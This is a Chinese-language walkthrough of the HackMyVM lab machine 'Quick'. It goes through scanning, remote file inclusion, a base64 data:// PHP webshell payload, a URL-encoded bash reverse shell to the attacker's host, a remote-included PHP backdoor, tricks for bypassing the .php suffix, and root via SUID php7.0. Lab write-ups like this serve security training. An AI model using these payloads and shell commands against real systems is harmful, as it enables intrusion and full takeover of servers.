3.quick

1. 基本信息^toc

靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Quick
难度:⭐️⭐️
知识点:RFI  SUID提权

2. 信息收集

端口扫描

Nmap scan report for 192.168.9.5
Host is up (0.00050s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

目录扫描

[17:42:29] 200 -  771B  - /about.php
[17:42:36] 200 -  616B  - /contact.php
[17:42:40] 200 -    1KB - /home.php
[17:42:40] 200 -  630B  - /images/
[17:42:40] 301 -  311B  - /images  ->  http://192.168.9.5/images/

3. 文件包含

访问一下

about.php

...

发现主页有一个about按钮,点击后

...

会发现下面的内容就是about.php里面的

结合一下这个Url

/index.php?page=about

很容易猜测出这里有个是有一个文件包含,这里包含了about.php所以这个界面就显示了/about.php的内容

这里我们就要看是本地包含 还是远程文件包含了

先测试远程文件包含

同网段下的kali新建一个test.php 然后里面随便写点东西

然后用Python启一个http服务

echo '123123123' >test.php
python3 -m http.server

访问网站

http://192.168.9.5/index.php?page=http://192.168.9.3/test

...

成功实现远程文件包含

4. RFI利用

4.1. 姿势1:data://伪协议法

好处: 直接传数据,不用包含远程服务器上的文件

参考文章:Quick

payload:

page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnb2snIDs/Pg==

这行 PHP 代码使用数据 URL (data URI) 直接在 PHP 代码中提供数据,而无需访问外部文件。 data:// 表示这是一个数据url text/plain :指定数据的 MIME 类型,这里为纯文本。 ;base64 使用base64编码 避免特殊字符出错 PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnb2snIDs/Pg== 编码数据 解码为
<?php system($\_GET['cmd']);echo 'ok' ;?></p>

执行后成功输出ok

...

我们传入参数cmd 执行命令

...

成功执行,然后反弹shell,这里需要用url编码

cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.9.3%2F1234%200%3E%261%27

...

4.2. 姿势2: 远程文件包含法

在kali中启动一个服务器

python3 -m http.server 1122

服务器上写一个系统马门

<?php
system($\_GET['cmd']);
echo 'okok');
?>

远程包含后门文件

...

这里我们不需要加上.php 因为他会自动给我们补上,

这里也可以绕过这个.php

5. 绕过.php

如利用问号 井号绕过等

...

使用#绕过时请用url编码

6. SUID 提权

(remote) www-data@quick:/tmp$ find / -perm -4000 2>/dev/null
/snap/core20/1828/usr/bin/chfn
/snap/core20/1828/usr/bin/chsh
/snap/core20/1828/usr/bin/gpasswd
/snap/core20/1828/usr/bin/mount
/snap/core20/1828/usr/bin/newgrp
/snap/core20/1828/usr/bin/passwd
/snap/core20/1828/usr/bin/su
/snap/core20/1828/usr/bin/sudo
/snap/core20/1828/usr/bin/umount
/snap/core20/1828/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1828/usr/lib/openssh/ssh-keysign
/snap/snapd/18357/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/bin/at
/usr/bin/sudo
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/php7.0
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/fusermount

这里面发现php具有suid权限

...

cd /usr/bin
CMD="/bin/sh"
./php7.0 -r "pcntl\_exec('/bin/sh', ['-p']);"

...